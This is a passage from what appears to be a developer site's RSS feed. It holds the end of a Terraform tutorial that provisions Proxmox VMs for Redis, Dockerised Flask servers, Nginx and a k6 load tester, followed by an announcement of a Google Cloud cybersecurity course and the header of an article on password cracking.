                <span class="hljs-comment"># The size of the disk should be at least as big as the disk in the template. If it's smaller, the disk will be recreated</span>
                <span class="hljs-string">size</span>    <span class="hljs-string">=</span> <span class="hljs-string">"5G"</span> 
                }
            }
            }
            <span class="hljs-string">ide</span> {
            <span class="hljs-comment"># Some images require a cloud-init disk on the IDE controller, others on the SCSI or SATA controller</span>
            <span class="hljs-string">ide1</span> {
                <span class="hljs-string">cloudinit</span> {
                <span class="hljs-string">storage</span> <span class="hljs-string">=</span> <span class="hljs-string">"local-lvm"</span>
                }
            }
            }
        }

        <span class="hljs-string">network</span> {
            <span class="hljs-string">id</span> <span class="hljs-string">=</span> <span class="hljs-number">0</span>
            <span class="hljs-string">bridge</span> <span class="hljs-string">=</span> <span class="hljs-string">"vmbr0"</span>
            <span class="hljs-string">model</span>  <span class="hljs-string">=</span> <span class="hljs-string">"virtio"</span>
        }

        <span class="hljs-string">connection</span> {
            <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
            <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
            <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
            <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">"10.0.0.130"</span>
        }

        <span class="hljs-comment"># 1. Install Docker and create the final app directory</span>
        <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
            <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [
                <span class="hljs-comment"># Wait for cloud-init to finish before doing anything else</span>
                <span class="hljs-string">"echo 'Waiting for cloud-init to finish...'"</span>,
                <span class="hljs-string">"while [ ! -f /var/lib/cloud/instance/boot-finished ]; do echo 'Still waiting...' &amp;&amp; sleep 1; done"</span>,
                <span class="hljs-string">"echo 'Cloud-init finished.'"</span>,

                <span class="hljs-comment"># Now, safely install packages</span>
                <span class="hljs-string">"sudo apt-get update -y"</span>,
                <span class="hljs-string">"sudo apt-get install -y docker.io docker-compose"</span>,
                <span class="hljs-string">"sudo mkdir -p /opt/redis"</span>,
            ]
        }

        <span class="hljs-string">provisioner</span> <span class="hljs-string">"file"</span> {
            <span class="hljs-string">source</span>      <span class="hljs-string">=</span> <span class="hljs-string">"../caching/redis-docker-compose.yml"</span>
            <span class="hljs-string">destination</span> <span class="hljs-string">=</span> <span class="hljs-string">"/home/${var.ssh_user}/docker-compose.yml"</span>
        }

        <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
            <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [ <span class="hljs-string">"sudo mv /home/${var.ssh_user}/docker-compose.yml /opt/redis/docker-compose.yml"</span> ]
        }

        <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
            <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [ <span class="hljs-string">"cd /opt/redis &amp;&amp; sudo docker-compose up -d"</span> ]
        }
    }

    <span class="hljs-string">resource</span> <span class="hljs-string">"proxmox_vm_qemu"</span> <span class="hljs-string">"web-servers"</span> {

        <span class="hljs-string">count</span> <span class="hljs-string">=</span> <span class="hljs-number">2</span>

        <span class="hljs-string">vmid</span>        <span class="hljs-string">=</span> <span class="hljs-string">count.index</span> <span class="hljs-string">+</span> <span class="hljs-number">150</span>
        <span class="hljs-string">name</span>        <span class="hljs-string">=</span> <span class="hljs-string">"web-server-tf-${count.index + 1}"</span>
        <span class="hljs-string">target_node</span> <span class="hljs-string">=</span> <span class="hljs-string">"pve"</span>
        <span class="hljs-string">agent</span>       <span class="hljs-string">=</span> <span class="hljs-number">1</span>
        <span class="hljs-string">cpu</span> {
            <span class="hljs-string">cores</span>       <span class="hljs-string">=</span> <span class="hljs-number">1</span>
        }
        <span class="hljs-string">memory</span>      <span class="hljs-string">=</span> <span class="hljs-number">1024</span>
        <span class="hljs-string">boot</span>        <span class="hljs-string">=</span> <span class="hljs-string">"order=scsi0"</span> <span class="hljs-comment"># has to be the same as the OS disk of the template</span>
        <span class="hljs-string">clone</span>       <span class="hljs-string">=</span> <span class="hljs-string">"debian12-cloudinit"</span> <span class="hljs-comment"># The name of the template</span>
        <span class="hljs-string">scsihw</span>      <span class="hljs-string">=</span> <span class="hljs-string">"virtio-scsi-single"</span>
        <span class="hljs-string">vm_state</span>    <span class="hljs-string">=</span> <span class="hljs-string">"running"</span>
        <span class="hljs-string">automatic_reboot</span> <span class="hljs-string">=</span> <span class="hljs-literal">true</span>

        <span class="hljs-comment"># Cloud-Init configuration</span>
        <span class="hljs-string">cicustom</span>   <span class="hljs-string">=</span> <span class="hljs-string">"vendor=local:snippets/qemu-guest-agent.yml"</span> <span class="hljs-comment"># /var/lib/vz/snippets/qemu-guest-agent.yml</span>
        <span class="hljs-string">ciupgrade</span>  <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
        <span class="hljs-string">nameserver</span> <span class="hljs-string">=</span> <span class="hljs-string">"1.1.1.1 8.8.8.8"</span>
        <span class="hljs-string">ipconfig0</span>  <span class="hljs-string">=</span> <span class="hljs-string">"ip=10.0.0.${111 + count.index}/24,gw=10.0.0.1"</span>
        <span class="hljs-string">skip_ipv6</span>  <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
        <span class="hljs-string">ciuser</span>     <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
        <span class="hljs-string">cipassword</span> <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_password</span>
        <span class="hljs-string">sshkeys</span>    <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_key</span>

        <span class="hljs-comment"># Most cloud-init images require a serial device for their display</span>
        <span class="hljs-string">serial</span> {
            <span class="hljs-string">id</span> <span class="hljs-string">=</span> <span class="hljs-number">0</span>
        }

        <span class="hljs-string">disks</span> {
            <span class="hljs-string">scsi</span> {
            <span class="hljs-string">scsi0</span> {
                <span class="hljs-comment"># We have to specify the disk from our template, else Terraform will think it's not supposed to be there</span>
                <span class="hljs-string">disk</span> {
                <span class="hljs-string">storage</span> <span class="hljs-string">=</span> <span class="hljs-string">"local-lvm"</span>
                <span class="hljs-comment"># The size of the disk should be at least as big as the disk in the template. If it's smaller, the disk will be recreated</span>
                <span class="hljs-string">size</span>    <span class="hljs-string">=</span> <span class="hljs-string">"5G"</span> 
                }
            }
            }
            <span class="hljs-string">ide</span> {
            <span class="hljs-comment"># Some images require a cloud-init disk on the IDE controller, others on the SCSI or SATA controller</span>
            <span class="hljs-string">ide1</span> {
                <span class="hljs-string">cloudinit</span> {
                <span class="hljs-string">storage</span> <span class="hljs-string">=</span> <span class="hljs-string">"local-lvm"</span>
                }
            }
            }
        }

        <span class="hljs-string">network</span> {
            <span class="hljs-string">id</span> <span class="hljs-string">=</span> <span class="hljs-number">0</span>
            <span class="hljs-string">bridge</span> <span class="hljs-string">=</span> <span class="hljs-string">"vmbr0"</span>
            <span class="hljs-string">model</span>  <span class="hljs-string">=</span> <span class="hljs-string">"virtio"</span>
        }

        <span class="hljs-string">connection</span> {
            <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
            <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
            <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
            <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">"10.0.0.${111 + count.index}"</span>
        }

        <span class="hljs-comment"># 1. Install Docker and create the final app directory</span>
        <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
            <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [
                <span class="hljs-comment"># Wait for cloud-init to finish before doing anything else</span>
                <span class="hljs-string">"echo 'Waiting for cloud-init to finish...'"</span>,
                <span class="hljs-string">"while [ ! -f /var/lib/cloud/instance/boot-finished ]; do echo 'Still waiting...' &amp;&amp; sleep 1; done"</span>,
                <span class="hljs-string">"echo 'Cloud-init finished.'"</span>,

                <span class="hljs-comment"># Now, safely install packages</span>
                <span class="hljs-string">"sudo apt-get update -y"</span>,
                <span class="hljs-string">"sudo apt-get install -y docker.io"</span>,
                <span class="hljs-string">"sudo mkdir -p /opt/app"</span>,
            ]
        }

        <span class="hljs-comment"># 2. Upload ONLY the necessary files to the user's home directory</span>
        <span class="hljs-string">provisioner</span> <span class="hljs-string">"file"</span> {
            <span class="hljs-string">source</span>      <span class="hljs-string">=</span> <span class="hljs-string">"../web-servers/app.py"</span>
            <span class="hljs-string">destination</span> <span class="hljs-string">=</span> <span class="hljs-string">"/home/${var.ssh_user}/app.py"</span>
        }
        <span class="hljs-string">provisioner</span> <span class="hljs-string">"file"</span> {
            <span class="hljs-string">source</span>      <span class="hljs-string">=</span> <span class="hljs-string">"../web-servers/Dockerfile"</span>
            <span class="hljs-string">destination</span> <span class="hljs-string">=</span> <span class="hljs-string">"/home/${var.ssh_user}/Dockerfile"</span>
        }
        <span class="hljs-string">provisioner</span> <span class="hljs-string">"file"</span> {
            <span class="hljs-string">source</span>      <span class="hljs-string">=</span> <span class="hljs-string">"../web-servers/requirements.txt"</span>
            <span class="hljs-string">destination</span> <span class="hljs-string">=</span> <span class="hljs-string">"/home/${var.ssh_user}/requirements.txt"</span>
        }

        <span class="hljs-comment"># 4. Move files from the home directory, build the image, and run the container</span>
        <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
            <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [
                <span class="hljs-comment"># Move each file individually to be compatible with all shells</span>
                <span class="hljs-string">"sudo mv /home/${var.ssh_user}/app.py /opt/app/"</span>,
                <span class="hljs-string">"sudo mv /home/${var.ssh_user}/Dockerfile /opt/app/"</span>,
                <span class="hljs-string">"sudo mv /home/${var.ssh_user}/requirements.txt /opt/app/"</span>,

                <span class="hljs-comment"># Build the Docker image</span>
                <span class="hljs-string">"sudo docker build -t my-python-app /opt/app"</span>,

                <span class="hljs-comment"># Stop and remove any old containers to prevent conflicts</span>
                <span class="hljs-string">"sudo docker stop $(sudo docker ps -q --filter ancestor=my-python-app) 2&gt;/dev/null || true"</span>,
                <span class="hljs-string">"sudo docker rm $(sudo docker ps -aq --filter ancestor=my-python-app) 2&gt;/dev/null || true"</span>,

                <span class="hljs-comment"># Run the new container</span>
                <span class="hljs-string">"sudo docker run -d --restart always -p 80:5000 my-python-app"</span>
            ]
        }

        <span class="hljs-comment"># In your proxmox_vm_qemu "web_servers" resource</span>
        <span class="hljs-string">depends_on</span> <span class="hljs-string">=</span> [
            <span class="hljs-string">proxmox_lxc.postgres_db</span>,
            <span class="hljs-string">proxmox_vm_qemu.redis_cache</span>
        ]
    }

    <span class="hljs-comment"># --- Load Balancer VM ---</span>
    <span class="hljs-string">resource</span> <span class="hljs-string">"proxmox_vm_qemu"</span> <span class="hljs-string">"load_balancer"</span> {
        <span class="hljs-string">name</span>        <span class="hljs-string">=</span> <span class="hljs-string">"lb-1"</span>
        <span class="hljs-string">target_node</span> <span class="hljs-string">=</span> <span class="hljs-string">var.target_node</span>
        <span class="hljs-string">clone</span>       <span class="hljs-string">=</span> <span class="hljs-string">var.vm_template</span>
        <span class="hljs-string">agent</span>       <span class="hljs-string">=</span> <span class="hljs-number">1</span>
        <span class="hljs-string">cpu</span> {
            <span class="hljs-string">cores</span>       <span class="hljs-string">=</span> <span class="hljs-number">1</span>
        }
        <span class="hljs-string">memory</span>      <span class="hljs-string">=</span> <span class="hljs-number">512</span>
        <span class="hljs-string">boot</span>        <span class="hljs-string">=</span> <span class="hljs-string">"order=scsi0"</span> <span class="hljs-comment"># has to be the same as the OS disk of the template</span>
        <span class="hljs-string">scsihw</span>      <span class="hljs-string">=</span> <span class="hljs-string">"virtio-scsi-single"</span>
        <span class="hljs-string">vm_state</span>    <span class="hljs-string">=</span> <span class="hljs-string">"running"</span>
        <span class="hljs-string">automatic_reboot</span> <span class="hljs-string">=</span> <span class="hljs-literal">true</span>

        <span class="hljs-comment"># --- Add these lines for Cloud Init Drive ---</span>
                <span class="hljs-comment"># --- Add these lines for Cloud Init Drive ---</span>
        <span class="hljs-string">cicustom</span>   <span class="hljs-string">=</span> <span class="hljs-string">"vendor=local:snippets/qemu-guest-agent.yml"</span> <span class="hljs-comment"># /var/lib/vz/snippets/qemu-guest-agent.yml</span>
        <span class="hljs-string">ciupgrade</span>  <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
        <span class="hljs-string">nameserver</span> <span class="hljs-string">=</span> <span class="hljs-string">"1.1.1.1 8.8.8.8"</span>
        <span class="hljs-string">ipconfig0</span>  <span class="hljs-string">=</span> <span class="hljs-string">"ip=10.0.0.100/24,gw=10.0.0.1"</span>
        <span class="hljs-string">skip_ipv6</span>  <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
        <span class="hljs-string">ciuser</span>     <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
        <span class="hljs-string">cipassword</span> <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_password</span>
        <span class="hljs-string">sshkeys</span>    <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_key</span>

        <span class="hljs-comment"># Most cloud-init images require a serial device for their display</span>
        <span class="hljs-string">serial</span> {
            <span class="hljs-string">id</span> <span class="hljs-string">=</span> <span class="hljs-number">0</span>
        }

        <span class="hljs-string">disks</span> {
            <span class="hljs-string">scsi</span> {
            <span class="hljs-string">scsi0</span> {
                <span class="hljs-comment"># We have to specify the disk from our template, else Terraform will think it's not supposed to be there</span>
                <span class="hljs-string">disk</span> {
                <span class="hljs-string">storage</span> <span class="hljs-string">=</span> <span class="hljs-string">"local-lvm"</span>
                <span class="hljs-comment"># The size of the disk should be at least as big as the disk in the template. If it's smaller, the disk will be recreated</span>
                <span class="hljs-string">size</span>    <span class="hljs-string">=</span> <span class="hljs-string">"5G"</span> 
                }
            }
            }
            <span class="hljs-string">ide</span> {
            <span class="hljs-comment"># Some images require a cloud-init disk on the IDE controller, others on the SCSI or SATA controller</span>
            <span class="hljs-string">ide1</span> {
                <span class="hljs-string">cloudinit</span> {
                <span class="hljs-string">storage</span> <span class="hljs-string">=</span> <span class="hljs-string">"local-lvm"</span>
                }
            }
            }
        }

        <span class="hljs-string">network</span> {
            <span class="hljs-string">id</span> <span class="hljs-string">=</span> <span class="hljs-number">0</span>
            <span class="hljs-string">bridge</span> <span class="hljs-string">=</span> <span class="hljs-string">"vmbr0"</span>
            <span class="hljs-string">model</span>  <span class="hljs-string">=</span> <span class="hljs-string">"virtio"</span>
        }

        <span class="hljs-string">connection</span> {
            <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
            <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
            <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
            <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">"10.0.0.100"</span>
        }

        <span class="hljs-comment"># Step 1: Install Nginx</span>
        <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
            <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [
                <span class="hljs-comment"># Wait for cloud-init to finish before doing anything else</span>
                <span class="hljs-string">"echo 'Waiting for cloud-init to finish...'"</span>,
                <span class="hljs-string">"while [ ! -f /var/lib/cloud/instance/boot-finished ]; do echo 'Still waiting...' &amp;&amp; sleep 1; done"</span>,
                <span class="hljs-string">"echo 'Cloud-init finished.'"</span>,

                <span class="hljs-comment"># Now, safely install packages</span>
                <span class="hljs-string">"sudo apt-get update -y"</span>,
                <span class="hljs-string">"sudo apt-get install -y nginx"</span>
            ]
        }

        <span class="hljs-comment"># Step 2: Upload config to a temporary location</span>
        <span class="hljs-string">provisioner</span> <span class="hljs-string">"file"</span> {
            <span class="hljs-string">source</span>      <span class="hljs-string">=</span> <span class="hljs-string">"../web-servers/nginx.conf"</span>
            <span class="hljs-string">destination</span> <span class="hljs-string">=</span> <span class="hljs-string">"/tmp/nginx.conf"</span> <span class="hljs-comment"># Use /tmp instead</span>
        }

        <span class="hljs-comment"># Step 3: Use sudo to move the file to its final destination and reload nginx</span>
        <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
            <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [
                <span class="hljs-string">"sudo mv /tmp/nginx.conf /etc/nginx/sites-available/default"</span>,
                <span class="hljs-string">"sudo systemctl reload nginx"</span>
            ]
        }
    }


    <span class="hljs-comment"># --- Load Tester VM ---</span>
    <span class="hljs-string">resource</span> <span class="hljs-string">"proxmox_vm_qemu"</span> <span class="hljs-string">"load_tester"</span> {
        <span class="hljs-string">name</span>        <span class="hljs-string">=</span> <span class="hljs-string">"load-tester-vm"</span>
        <span class="hljs-string">target_node</span> <span class="hljs-string">=</span> <span class="hljs-string">var.target_node</span>
        <span class="hljs-string">clone</span>       <span class="hljs-string">=</span> <span class="hljs-string">var.vm_template</span>
        <span class="hljs-string">agent</span>       <span class="hljs-string">=</span> <span class="hljs-number">1</span>
        <span class="hljs-string">cpu</span> {
            <span class="hljs-string">cores</span>       <span class="hljs-string">=</span> <span class="hljs-number">1</span>
        }
        <span class="hljs-string">memory</span>      <span class="hljs-string">=</span> <span class="hljs-number">1024</span>
        <span class="hljs-string">boot</span>        <span class="hljs-string">=</span> <span class="hljs-string">"order=scsi0"</span> <span class="hljs-comment"># has to be the same as the OS disk of the template</span>
        <span class="hljs-string">scsihw</span>      <span class="hljs-string">=</span> <span class="hljs-string">"virtio-scsi-single"</span>
        <span class="hljs-string">vm_state</span>    <span class="hljs-string">=</span> <span class="hljs-string">"running"</span>
        <span class="hljs-string">automatic_reboot</span> <span class="hljs-string">=</span> <span class="hljs-literal">true</span>

        <span class="hljs-comment"># --- Add these lines for Cloud Init Drive ---</span>
        <span class="hljs-string">cicustom</span>   <span class="hljs-string">=</span> <span class="hljs-string">"vendor=local:snippets/qemu-guest-agent.yml"</span> <span class="hljs-comment"># /var/lib/vz/snippets/qemu-guest-agent.yml</span>
        <span class="hljs-string">ciupgrade</span>  <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
        <span class="hljs-string">nameserver</span> <span class="hljs-string">=</span> <span class="hljs-string">"1.1.1.1 8.8.8.8"</span>
        <span class="hljs-string">ipconfig0</span>  <span class="hljs-string">=</span> <span class="hljs-string">"ip=10.0.0.160/24,gw=10.0.0.1"</span>
        <span class="hljs-string">skip_ipv6</span>  <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
        <span class="hljs-string">ciuser</span>     <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
        <span class="hljs-string">cipassword</span> <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_password</span>
        <span class="hljs-string">sshkeys</span>    <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_key</span>

        <span class="hljs-comment"># Most cloud-init images require a serial device for their display</span>
        <span class="hljs-string">serial</span> {
            <span class="hljs-string">id</span> <span class="hljs-string">=</span> <span class="hljs-number">0</span>
        }

        <span class="hljs-string">disks</span> {
            <span class="hljs-string">scsi</span> {
                <span class="hljs-string">scsi0</span> {
                    <span class="hljs-comment"># We have to specify the disk from our template, else Terraform will think it's not supposed to be there</span>
                    <span class="hljs-string">disk</span> {
                    <span class="hljs-string">storage</span> <span class="hljs-string">=</span> <span class="hljs-string">"local-lvm"</span>
                    <span class="hljs-comment"># The size of the disk should be at least as big as the disk in the template. If it's smaller, the disk will be recreated</span>
                    <span class="hljs-string">size</span>    <span class="hljs-string">=</span> <span class="hljs-string">"5G"</span> 
                    }
                }
            }

            <span class="hljs-string">ide</span> {
            <span class="hljs-comment"># Some images require a cloud-init disk on the IDE controller, others on the SCSI or SATA controller</span>
                <span class="hljs-string">ide1</span> {
                    <span class="hljs-string">cloudinit</span> {
                    <span class="hljs-string">storage</span> <span class="hljs-string">=</span> <span class="hljs-string">"local-lvm"</span>
                    }
                }
            }
        }

        <span class="hljs-string">network</span> {
            <span class="hljs-string">id</span> <span class="hljs-string">=</span> <span class="hljs-number">0</span>
            <span class="hljs-string">bridge</span> <span class="hljs-string">=</span> <span class="hljs-string">"vmbr0"</span>
            <span class="hljs-string">model</span>  <span class="hljs-string">=</span> <span class="hljs-string">"virtio"</span>
        }

        <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
            <span class="hljs-string">connection</span> {
                <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
                <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
                <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
                <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">"10.0.0.160"</span>
            }
            <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [
                <span class="hljs-comment"># Wait for cloud-init to finish</span>
                <span class="hljs-string">"echo 'Waiting for cloud-init to finish...'"</span>,
                <span class="hljs-string">"while [ ! -f /var/lib/cloud/instance/boot-finished ]; do echo 'Still waiting...' &amp;&amp; sleep 1; done"</span>,
                <span class="hljs-string">"echo 'Cloud-init finished.'"</span>,

                <span class="hljs-comment"># Install prerequisites</span>
                <span class="hljs-string">"sudo apt-get update -y"</span>,
                <span class="hljs-string">"sudo apt-get install -y gnupg curl"</span>,

                <span class="hljs-comment"># Add the k6 repository and key</span>
                <span class="hljs-string">"curl -sL https://dl.k6.io/key.gpg | sudo gpg --dearmor -o /usr/share/keyrings/k6-archive-keyring.gpg"</span>,
                <span class="hljs-string">"echo 'deb [signed-by=/usr/share/keyrings/k6-archive-keyring.gpg] https://dl.k6.io/deb stable main' | sudo tee /etc/apt/sources.list.d/k6.list"</span>,

                <span class="hljs-comment"># Install k6</span>
                <span class="hljs-string">"sudo apt-get update"</span>,
                <span class="hljs-string">"sudo apt-get install -y k6"</span>
            ]
        }

        <span class="hljs-string">provisioner</span> <span class="hljs-string">"file"</span> {
            <span class="hljs-string">connection</span> {
            <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
            <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
            <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
            <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">"10.0.0.160"</span>
            }
            <span class="hljs-string">source</span>      <span class="hljs-string">=</span> <span class="hljs-string">"../load-testing/script.js"</span>
            <span class="hljs-string">destination</span> <span class="hljs-string">=</span> <span class="hljs-string">"/home/${var.ssh_user}/script.js"</span>
        }

        <span class="hljs-string">provisioner</span> <span class="hljs-string">"file"</span> {
            <span class="hljs-string">connection</span> {
            <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
            <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
            <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
            <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">"10.0.0.160"</span>
            }
            <span class="hljs-string">source</span>      <span class="hljs-string">=</span> <span class="hljs-string">"../load-testing/rate-test.js"</span>
            <span class="hljs-string">destination</span> <span class="hljs-string">=</span> <span class="hljs-string">"/home/${var.ssh_user}/rate-test.js"</span>
        }

    }
</code></pre>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>You've now seen how to build a complete, scalable, and resilient system that includes a crucial component for modern web applications: a distributed rate limiter.</p>
<p>We've covered the entire stack:</p>
<ul>
<li><p><strong>Infrastructure as Code</strong> with Terraform to define our virtual machines. (check out my repo <a target="_blank" href="https://github.com/sravankaruturi/system-design">here</a> for all the code and any updates I make).</p>
</li>
<li><p>A <strong>centralized, high-speed cache</strong> with Redis to store our rate limiting data.</p>
</li>
<li><p>An efficient <strong>Sliding Window Log algorithm</strong> implemented in Python with Flask.</p>
</li>
<li><p><strong>Containerization</strong> with Docker for consistent deployment.</p>
</li>
<li><p><strong>Load balancing</strong> with Nginx to distribute traffic.</p>
</li>
<li><p><strong>Load testing</strong> with k6 to validate our implementation.</p>
</li>
</ul>
<p>If you’d like to learn more of the concepts that are used when building large scale systems please follow me at <a class="user-mention" href="https://hashnode.com/@sravankaruturi">Sravan Karuturi</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Beginner’s Guide to Cloud Cybersecurity ]]>
                </title>
                <description>
                    <![CDATA[ Are you ready to become a digital guardian and launch your career on the frontlines of cloud security? We’re excited to announce that freeCodeCamp.org has just published a comprehensive Google Cloud Cybersecurity course on our YouTube channel. The co... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/beginners-guide-to-cloud-cybersecurity/</link>
                <guid isPermaLink="false">6863fb880b9684674b11ec40</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ youtube ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Beau Carnes ]]>
                </dc:creator>
                <pubDate>Tue, 01 Jul 2025 15:15:20 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1750284815294/c2ba70be-5147-4b56-b377-4ac40f53532e.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Are you ready to become a digital guardian and launch your career on the frontlines of cloud security? We’re excited to announce that freeCodeCamp.org has just published <a target="_blank" href="https://youtu.be/DrAZf4ZHqaM">a comprehensive Google Cloud Cybersecurity course</a> on our YouTube channel.</p>
<p>The course was developed by Google Cloud and helps people earn the Google Cloud Cybersecurity Certificate. This certificate program is your training ground to protect valuable digital assets from the ever-evolving world of cybercrime.</p>
<h3 id="heading-why-learn-cybersecurity-with-google-cloud">Why Learn Cybersecurity with Google Cloud?</h3>
<p>In our hyper-connected world, the security of digital infrastructure is important. Every organization, from startups to global enterprises, needs skilled professionals to defend against threats.</p>
<p>As a Cloud Security Analyst, you'll be the one to analyze threats, build defenses, and safeguard critical systems in the cloud. This program provides the essential skills to enter this high-growth field, blending expert-led instruction with immersive, hands-on Google Cloud challenges to build your expertise and impress future employers.</p>
<h3 id="heading-whats-inside-the-certificate-program">What’s Inside the Certificate Program?</h3>
<p>This program is a carefully structured path designed to take you from foundational concepts to advanced, real-world application. You'll not only learn technical skills like threat identification and risk management but also how to respond to incidents and communicate effectively during a crisis.</p>
<p>Here’s what you’ll learn across the five-course series:</p>
<p><strong>1. Introduction to Security Principles in Cloud Computing</strong> Start with the essentials of cybersecurity. You’ll explore the security lifecycle, understand the impact of digital transformation, and grasp key cloud computing concepts. This module introduces you to the common tools and responsibilities of an entry-level cybersecurity analyst.</p>
<p><strong>2. Strategies for Cloud Security Risk Management</strong> Dive into the critical process of managing risk in the cloud. This course covers widely-used risk management frameworks and industry standards like HIPAA, NIST CSF, and SOC. You'll learn to navigate the complexities of compliance and develop strategies to protect organizations.</p>
<p><strong>3. Cloud Security Risks: Identify and Protect Against Threats</strong> Explore the core principles of identity and access management within a cloud environment. You'll get hands-on with concepts like Authentication, Authorization, and Auditing (AAA), credential management, and techniques for identifying and mitigating system vulnerabilities.</p>
<p><strong>4. Detect, Respond, and Recover from Cloud Cybersecurity Attacks</strong> This course focuses on the operational side of security. You will develop crucial skills in monitoring, logging, and security alerting. You'll also learn proven techniques for mitigating attacks and customizing threat detection to stay ahead of adversaries.</p>
<p><strong>5. Put It All Together: Prepare for a Cloud Security Analyst Job</strong> Apply everything you’ve learned in a final capstone mission. This project simulates a real-world security scenario, challenging you to combine your skills in risk management, vulnerability identification, and incident response to solve a complex problem and build a standout portfolio piece.</p>
<h3 id="heading-start-your-journey-today">Start Your Journey Today</h3>
<p>This course provides the tools and training you need to succeed in the exciting and critical field of cloud cybersecurity. And it’s built around practical experience. It’s a thrilling mix of expert-led courses and immersive challenges through interactive labs on the Google Cloud Skills Boost platform.</p>
<p>These labs give you a chance to practice in a real cloud environment, reinforcing your learning with practical skills that employers are looking for.</p>
<p>Watch the <a target="_blank" href="https://youtu.be/DrAZf4ZHqaM">full course on the freeCodeCamp.org YouTube channel</a> and begin your journey into cybersecurity (10-hour watch).</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/DrAZf4ZHqaM" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How Cybercriminals Crack Your Passwords (And How to Stay One Step Ahead) ]]>
                </title>
                <description>
                    <![CDATA[ Passwords are the keys to your digital life  –  email, bank accounts, social media, and even your workplace systems. Unfortunately, they’re also one of the weakest links in cybersecurity.  Every year, billions of credentials are stolen and sold on th... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-cybercriminals-crack-your-passwords-and-how-to-stay-one-step-ahead/</link>
                <guid isPermaLink="false">682b3930e99a22ce9f9199c8</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Mon, 19 May 2025 13:59:12 +0000</pubDate>
